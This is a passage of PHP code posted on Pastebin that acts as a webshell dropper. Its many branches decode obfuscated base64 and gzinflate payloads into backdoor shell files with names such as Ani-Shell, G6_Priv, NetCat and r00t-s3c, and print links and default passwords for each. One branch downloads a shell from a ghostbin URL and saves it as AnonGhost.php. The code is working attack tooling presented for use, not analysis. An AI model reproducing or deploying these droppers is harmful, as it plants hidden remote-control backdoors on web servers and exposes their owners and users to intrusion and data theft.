    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='1n73ction.v3.php' target='_blank' style='color:red'>1n73ction.v3.php</a><br /><font color='aqua'>password:</font> <a style='color:red'>1n73ction</a></font></font></b></center>";

} elseif ($action == 'Ani') {
    $file = fopen($dir . "Ani-Shell.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswOVhHejhLM01OUzFTMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxTlMwQmdBPSIpKSk7Cj8+
';
    $file = fopen("Ani-Shell.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='Ani-Shell.php' target='_blank' style='color:red'>Ani-Shell.php</a></font><br /><font color='aqua'>username:</font> <a style='color:red' size='4'>lionaneesh</a></font> - <font color='aqua'>password:</font> <a style='color:red' size='4'>lionaneesh</a></font></b></b></center>";

} elseif ($action == 'EMeLCo') {
    $file = fopen($dir . "EMeLCo.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNGTENvQWdGQVhRclRnUTBrbE9va0VSMFE1cUJlTG5sa2FwNUtPMjN6bDhZUlBiNHdWOWdMVExpWkNvaWlZUWxVR3BZaXJCeHRTNmZLdkhmRzBKWlk3VHNhNEk5N2sxY21SNHpTV3NxZWc3N2VHeWgrQ0xsT01QIikpKTsKPz4=
';
    $file = fopen("EMeLCo.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='EMeLCo.php' target='_blank' style='color:red'>EMeLCo.php</a></font><br /><font color='aqua'>username:</font> <a style='color:red' size='4'>root</a></font> - <font color='aqua'>password:</font> <a style='color:red' size='4'>123456</a></font></b></center>";
} elseif ($action == 'GNY') {
    $file = fopen($dir . "GNY-Shell.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNGQkNvQWdFQURBcjNnSTFFc0xFUjJLRHI1RWROMVNLSlYycWU4M016aTFxNk5jNUU4U2o2MEtWV0dqczBqbkZlRE1qU1dXT21LN29RY1dnZ2ZUaFBDRVQ5dE4wUnN1RXdQVE12dEUyQktad1ZtNy9RPT0iKSkpOwo/Pg==
';
    $file = fopen("GNY-Shell.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='GNY-Shell.php' target='_blank' style='color:red'>GNY-Shell.php</a></font></b></center>";
} elseif ($action == 'I-47') {
    $file = fopen($dir . "I-47.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNGQkNvQWdFQURBcjNnUTBrdGVJaWlSNkZRUXZVRk0xekpLSlpmNmZqTjBKSXI0Y0lIZUFiVk5FU0ZpWWRXQm1Ic2hzaWtJVzRpMVRiZDR6RmZuSXc5QnJWMDN6ZjVjS2k0SnZPWmlteW5RTnRxQlRRNFlIVG1YUHc9PSIpKSk7Cj8+
';
    $file = fopen("I-47.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='I-47.php' target='_blank' style='color:red'>I-47.php</a><br /><font color='aqua'>username:</font> <a style='color:red' size='4'>root</a></font> - <font color='aqua'>password:</font> <a style='color:red' size='4'>123456</a></font></b></center>";
} elseif ($action == 'Indrajith') {
    $file = fopen($dir . "Indrajith_v2.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNFeENvQWdGQURRcXpnSTZxSkxPQlFSVGkzZVFVeC9LWmhLZnVyNnZVY05XY21aQzdnTDBJVldFU29PemhKaW41WHFmaUFjdWNyUWJ2WDRUL2JVdDd4cUc4eG45YzdFUXVEMWhSOStnSjVjaE5BaWNHcUVXSDQ9IikpKTsKPz4=
';
    $file = fopen("Indrajith_v2.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='Indrajith_v2.php' target='_blank' style='color:red'>Indrajith_v2.php</a><br /><font color='aqua'>username:</font> <a style='color:red' size='4'>root</a></font> - <font color='aqua'>password:</font> <a style='color:red' size='4'>root</a></font></b></center>";
} elseif ($action == 'IST') {
    $file = fopen($dir . "iTSecTeam.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNFeENvQWdHQWJRcXpnSTZaSU5FVkZFQ0YyZ3BWWE12a29vbGZ5cDYvY2UxMnhndTc5Z0RwQnhNUkFDWlZHY1JLbFRLdGxNV0gwb1hielZZNzh5blduMGc4WlV0Zk83RkxKbmVPMGxWcHZSMUdhRGl4c0UxMUwyUHc9PSIpKSk7Cj8+
';
    $file = fopen("iTSecTeam.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='iTSecTeam.php' target='_blank' style='color:red'>iTSecTeam.php</a></font></b></center>";
} elseif ($action == 'BCC') {
    $file = fopen($dir . "bcc.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswZFFsMmNqWnhNL2RUMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxTlMwQmdBPSIpKSk7Cj8+
';
    $file = fopen("bcc.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='bcc.php' target='_blank' style='color:red'>bcc.php</a></font></b></center>";
} elseif ($action == 'Dh') {
    $file = fopen($dir . "Dhanush.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswVFRReXJYUUtNNGxTMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxTlMwQmdBPSIpKSk7Cj8+
';
    $file = fopen("Dhanush.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='Dhanush.php' target='_blank' style='color:red'>Dhanush.php</a></font><br /><font color='aqua'>username:</font> <a style='color:red' size='4'>root</a></font> - <font color='aqua'>password:</font> <a style='color:red' size='4'>root</a></font></b></center>";
} elseif ($action == 'D-T') {
    $file = fopen($dir . "DuckTales.php", "w+");
    $M = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiVTNGVXNGVkl5OHhKalU5UExZbFB6czhyU2MwcktkWlF6eWdwS2JEUzF5OUlMQzVKVGNyTTAwdk96OVV2U2l6WEs4Z29zTSswTFFqek5uWVBOOHhWMTdSV1NDMUx6TkZJU2l4T05UT0pUMGxOems5SjFWQngxTlMwQmdBPSIpKSk7Cj8+
';
    $file = fopen("DuckTales.php", "w+");
    $write = fwrite($file, base64_decode($M));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='DuckTales.php' target='_blank' style='color:red'>DuckTales.php</a></font></font></b></center>";
} elseif ($action == 'EHG404') {
    $file = fopen($dir . "EHG404.php", "w+");
    $EHG = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiczdFdnlDaFFVSEZVc0ZWSXk4eEpqVTlQTFlsUHpzOHJTYzByS2RaUXp5Z3BLYkRTMXk5SUxDNUpUY3JNMDB2T3o5VXZTaXpYQStxeHo3UjF6QTUwQ29qME5sTFh0RlpJTFV2TTBVaEtMRTQxTTRsUFNVM09UMG5WVUhIVUJFclkyd0VBIikpKTsKPz4=
';
    $file = fopen("EHG404.php", "w+");
    $write = fwrite($file, base64_decode($EHG));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='EHG404.php' target='_blank' style='color:red'>EHG404.php</a><br /><font color='aqua'>Unlock:</font> <a style='color:red' size='4'>Left Right Left Right Up Down</a></font></font></b></center>";
} elseif ($action == 'G6') {
    $file = fopen($dir . "G6_Priv.php", "w+");
    $G = 'BcFZC4IwAADgd8E/4ZPSy0aX0iFmCM555JwdL+ExzZKUGaL79X3f3uxfvSyxMWvVWjTfqs1+TM2zgW1Wz5IVXclUhS4dOjipO+sTelMjwvc2EoPOSQG4Vz4uYq57Lz8TOBsuttcoKbgPwBgKg46kETdPr7vBXwBe4VDn1C8TROA2vhIbYhE4LmmmMEhClIA2EB8DwfQ0QSv2LMs6KJqm7WTJPP4B
';
    $file = fopen("G6_Priv.php", "w+");
    $write = fwrite($file, gzinflate(base64_decode($G)));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='G6_Priv.php' target='_blank' style='color:red'>G6_Priv.php</a></font></b></center>";
} elseif ($action == 'GZv3') {
    $file = fopen($dir . "GaZav3.php", "w+");
    $G = 'BcHHDoIwAADQuwk/wQnipY2LxkEQQwJlSSmOi2FURIgQMEj79b6307tXJ83YmDZKKarPs0m/TMnSga2Xj4LlbcEUmS4sOliJzbXJeVMUurcmFIPWkxz0uLifBS87nJ0I5Mh2zZUT570HwBgIREdSiSvWynbw5sClPMQ14uIHY7iJLsSErvAtm1RT4MeBE4PGFzVyYHKcoBFhwzD2sqqqW2mmH/4=
';
    $file = fopen("GaZav3.php", "w+");
    $write = fwrite($file, gzinflate(base64_decode($G)));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='GaZav3.php' target='_blank' style='color:red'>GaZav3.php</a></font></b></center>";
} elseif ($action == 'hands') {
    $file = fopen($dir . "HandsTeam.php", "w+");
    $G = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVlJTWWtwNlRGTndKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
';
    $file = fopen("HandsTeam.php", "w+");
    $write = fwrite($file, base64_decode($G));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='HandsTeam.php' target='_blank' style='color:red'>HandsTeam.php</a><br /><font color='aqua'>password:</font> <a style='color:red' size='4'>handsteamsys@123</a></font></b></center>";
} elseif ($action == 'jackal') {
    $file = fopen($dir . "jackal.php", "w+");
    $G = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNGTkRrQXdFQWJRcTNRaDBXN01CaEZpNFNUTmFEOC9DYTJZQ1hGNzd4V1RHYzJ5SC9BcjFJZWNGRW5GbHB2cUpUM1J1bVhSZVU5VnlDZGRMQXJxUG01QU43K2xHd3dlUHV6TWdyYjJFU0ZIMkdKeWJ2Z0IiKSkpOwo/Pg==
';
    $file = fopen("jackal.php", "w+");
    $write = fwrite($file, base64_decode($G));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='jackal.php' target='_blank' style='color:red'>jackal.php</a></font></b></center>";
} elseif ($action == 'k2') {
    $file = fopen($dir . "K2T00l.php", "w+");
    $K = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNGTENvQWdFQURRcTdnSTBrMnpDWW1raFNlUlVhY1BtRW96MVBWN2IvQnFVL3RWS0J3a0liVXFWSVgxZUlwMFhnR09zN0hFcTA2cDNkQ1JoUUR6RWkwOCtJM0dLWHF4NkloTWRnNlpVc3VrQjIrTSt3RT0iKSkpOwo/Pg==
';
    $file = fopen("K2T00l.php", "w+");
    $write = fwrite($file, base64_decode($K));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='K2T00l.php' target='_blank' style='color:red'>K2T00l.php</a><br /><font color='aqua'>password:</font> <a style='color:red' size='4'>123456</a></font></b></center>";
} elseif ($action == 'k2ll33d') {
    $file = fopen($dir . "k2ll33d.php", "w+");
    $K = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiQmNFeERvQWdEQURBcnpDUUNJdGRqSVBHd1pjUUtCVk1GQWh0TlA3ZU83MnJUUjNuUlM2Uk9LeEZxQWliSVlzMFhnQlNyaXpoTENQV0c1cG5JY0FQdnc3ZHY0TmRGVDMrTXNFenpaT0xoRFdTMGJ1MTZ3OD0iKSkpOwo/Pg==
';
    $file = fopen("k2ll33d.php", "w+");
    $write = fwrite($file, base64_decode($K));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='k2ll33d.php' target='_blank' style='color:red'>k2ll33d.php</a></font></b></center>";
} elseif ($action == 'loplipop') {
    $file = fopen($dir . "loplipop.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNsTENvQWdFQURRcTdnUTBrMnpDUmRGaTA0aWZpWVZUS01aQ2pwOXZlMlRtMWpGWGlyYWhHeERiNHlOU1EyWithUVpJT1ZPN0VzYlF6L2dkTVFJcjBrcHd1V2VRUzhDYjFlVmQ0Um1zaEZEajZqa3B2LzRBQT09IikpKTsKPz4=
';
    $file = fopen("loplipop.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='loplipop.php' target='_blank' style='color:red'>loplipop.php</a></font></b></center>";
} elseif ($action == 'madv2') {
    $file = fopen($dir . "madspotv2.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNreERvQWdFQVRBcjFDWUNJM1hHQXVOaFM4aGlDdVFJQkR2b3QvWGFhZmIxS3JPbEdFRHhQcGFCRVZZOTFHazhVd1VZbVhaVXhsOHZhZzVGdERiQWdyZDd1M05vdkM0ckhmSG1FWjd3TmNEdXR2TUh4OD0iKSkpOwo/Pg==
';
    $file = fopen("madspotv2.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='madspotv2.php' target='_blank' style='color:red'>madspotv2.php</a></font><br /><font color='aqua'>username:</font> <a style='color:red' size='4'>mad</a></font> - <font color='aqua'>password:</font> <a style='color:red' size='4'>mad</a></font></b></center>";
} elseif ($action == 'MulCi') {
    $file = fopen($dir . "MulCiShell.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNrN0RvQWdEQURRcXpDWUNJdGRqSVBHZ1pNUVB2VVhwTVEyZUgxOTYrdXNXdFYyWm5RN2lvdFVCSXV3N2crUnlqUEFmaEJMT01zUTZZYnFXUkN1V3B2QTQ5L2VMQXFienpwNHhtbDBDU01sMUowMWYzdz0iKSkpOwo/Pg==
';
    $file = fopen("MulCiShell.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='MulCiShell.php' target='_blank' style='color:red'>MulCiShell.php</a></font></b></center>";
} elseif ($action == 'nsT') {
    $file = fopen($dir . "nsTView.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNrN0RvQWdEQURRcXpDWUFJdGRqSVBHd1pNUVBsVWdDbWdidmI2KzlYV3JXTVNXRGpRN3N2RzFNQlltSlNOem93bGdqNVhZcGRMN2VrS3p4QWc1WDQzZ3RxL1VzOERISHNwWnduRXdBWDBOcUxwVi8vRUIiKSkpOwo/Pg==
';
    $file = fopen("nsTView.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='nsTView.php' target='_blank' style='color:red'>nsTView.php</a></font><br /><font color='aqua'>password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
} elseif ($action == 'NetCat') {
    $file = fopen($dir . "NetCat.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNrN0RvQWdEQURRcXpDUWdJdGRqSVBHd1pNUXdBcjRBV0liamJmWHR6NDVpMG1zNlVBVGtJMHZtVEV6YVJXWkt3MEFJUlppbDNMcnl3blZFaU9FYlg4elhQWlJ6U2p3dG9kMmxyRHZ6SUsrTEtqbDNQenhBUT09IikpKTsKPz4=
';
    $file = fopen("NetCat.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='NetCat.php' target='_blank' style='color:red'>NetCat.php</a></font><br /><font color='aqua' size='4'>username:</font> <font size='4'><a style='color:red'>netcat</a></font> - <font color='aqua' size='4'>password:</font> <font size='4'><a style='color:red'>netcat</a></font></b></center>";
} elseif ($action == 'r-s') {
    $file = fopen($dir . "r00t-s3c.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNsQkNvQWdFQURBcjNnUTBrdDdpYUNpUXk4UnRVMkYwbWdYcTkvWFhFY3VZaFpiMnRFRVpPTkxac3hNcW9uTUo0MEFJUlppbDNMcnl3R25KVVo0YWplOGNObTcwWlBBYW5mbExHSGZtUlY5V1ZISlJmL3hBUT09IikpKTsKPz4=
';
    $file = fopen("r00t-s3c.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='r00t-s3c.php' target='_blank' style='color:red'>r00t-s3c.php</a></font></b></center>";
} elseif ($action == 'b8') {
    $file = fopen($dir . "BUG-Priv8.php", "w+");
    $L = 'PD9waHAKZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiRGNrNURvQWdFQURBcjFDUUNJM2JHQXVOQlM4aEhLdVNLTmR1OVBzNjdVZ2pOckduQysyQmJFUEpqSmxKRFNkenBRWGdPQXV4VDNrTTVZYnFpQkc0ZGQrZ3UzZlFxOERIWGNvN3dubXlFVU9KcUtUUmYzdz0iKSkpOwo/Pg==
';
    $file = fopen("BUG-Priv8.php", "w+");
    $write = fwrite($file, base64_decode($L));
    fclose($file);
    echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='BUG-Priv8.php' target='_blank' style='color:red'>BUG-Priv8.php</a></font></b></center>";
} elseif ($action == 'AG') {
$AG  = 'https://ghostbin.com/paste/yydvd/raw';
$shell = file_get_contents($AG);
$AnonGhost = fopen('AnonGhost.php', 'a');
fwrite($AnonGhost,$shell);
echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open Shell:</font> <font size='4'><a href='AnonGhost.php' target='_blank' style='color:red'>AnonGhost.php</a></font><br /><font color='aqua' size='4'>username:</font> <font size='4'><a style='color:red'>AnonGhost</a></font> - <font color='aqua' size='4'>password:</font> <font size='4'><a style='color:red'>AnonGhost</a></font></b></center>";
};
echo '
</body>
</html>
';
function scookie($key, $value, $life = 0, $prefix = 1) {
    global $admin, $timestamp, $_SERVER;
    $key = ($prefix ? $admin['cookiepre'] : '') . $key;
    $life = $life ? $life : $admin['cookielife'];
    $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
}
function s_array(&$array) {
    if (is_array($array)) {
        foreach ($array as $k => $v) {
            $array[$k] = s_array($v);
        }
    } else if (is_string($array)) {
        $array = stripslashes($array);
    }
    return $array;
}
function html_clean($content) {
    $content = htmlspecialchars($content);
    $content = str_replace("\n", "<br />", $content);
    $content = str_replace("  ", "&nbsp;&nbsp;", $content);
    $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
    return $content;
}
function getChmod($filepath) {
    return substr(base_convert(@fileperms($filepath), 10, 8), -4);
}
function getPerms($filepath) {
    $mode = @fileperms($filepath);
    if (($mode & 0xC000) === 0xC000) {
        $type = 's';
    } elseif (($mode & 0x4000) === 0x4000) {
        $type = 'd';
    } elseif (($mode & 0xA000) === 0xA000) {
        $type = 'l';
    } elseif (($mode & 0x8000) === 0x8000) {
        $type = '-';
    } elseif (($mode & 0x6000) === 0x6000) {
        $type = 'b';
    } elseif (($mode & 0x2000) === 0x2000) {
        $type = 'c';
    } elseif (($mode & 0x1000) === 0x1000) {
        $type = 'p';
    } else {
        $type = '?';
    }
    $owner['read'] = ($mode & 00400) ? 'r' : '-';
    $owner['write'] = ($mode & 00200) ? 'w' : '-';
    $owner['execute'] = ($mode & 00100) ? 'x' : '-';
    $group['read'] = ($mode & 00040) ? 'r' : '-';
    $group['write'] = ($mode & 00020) ? 'w' : '-';
    $group['execute'] = ($mode & 00010) ? 'x' : '-';
    $world['read'] = ($mode & 00004) ? 'r' : '-';
    $world['write'] = ($mode & 00002) ? 'w' : '-';
    $world['execute'] = ($mode & 00001) ? 'x' : '-';
    if ($mode & 0x800) {
        $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
    }
    if ($mode & 0x400) {
        $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
    }
    if ($mode & 0x200) {
        $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
    }
    return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
}
function getUser($filepath) {
    if (function_exists('posix_getpwuid')) {
        $array = @posix_getpwuid(@fileowner($filepath));
        if ($array && is_array($array)) {
            return ' / <a href="#" title="User: ' . $array['name'] . '&#13&#10Passwd: ' . $array['passwd'] . '&#13&#10Uid: ' . $array['uid'] . '&#13&#10gid: ' . $array['gid'] . '&#13&#10Gecos: ' . $array['gecos'] . '&#13&#10Dir: ' . $array['dir'] . '&#13&#10Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
        }
    }
    return '';
}
function bg() {
    global $bgc;
    return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
}
function getPath($scriptpath, $nowpath) {
    if ($nowpath == '.') {
        $nowpath = $scriptpath;
    }
    $nowpath = str_replace('\\', '/', $nowpath);
    $nowpath = str_replace('//', '/', $nowpath);
    if (substr($nowpath, -1) != '/') {
        $nowpath = $nowpath . '/';
    }
    return $nowpath;
}
function getfun($funName) {
    return (false !== function_exists($funName)) ? 'Yes' : 'No';

}

function sizecount($size) {
    if ($size > 1073741824) {
        $size = round($size / 1073741824 * 100) / 100 . ' G';
    } elseif ($size > 1048576) {
        $size = round($size / 1048576 * 100) / 100 . ' M';
    } elseif ($size > 1024) {
        $size = round($size / 1024 * 100) / 100 . ' K';
    } else {
        $size = $size . ' B';
    }
    return $size;
}


function ue($str) {
    return urlencode($str);
}
function p($str) {
    echo $str . "\n";
}
function tbhead() {
    p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot() {
    p('</table>');
}
function makehide($name, $value = '') {
    p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}


function formhead($arg = array()) {
    !$arg['method'] && $arg['method'] = 'post';
    !$arg['action'] && $arg['action'] = $self;
    $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
    !$arg['name'] && $arg['name'] = 'form1';
    p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
    if ($arg['title']) {
        p('<h2>' . $arg['title'] . ' &raquo;</h2>');
    }
}

function formfooter($name = '') {
    !$name && $name = 'submit';
    p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
    p('</form>');
}
function formfoot() {
    p('</form>');
}
?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!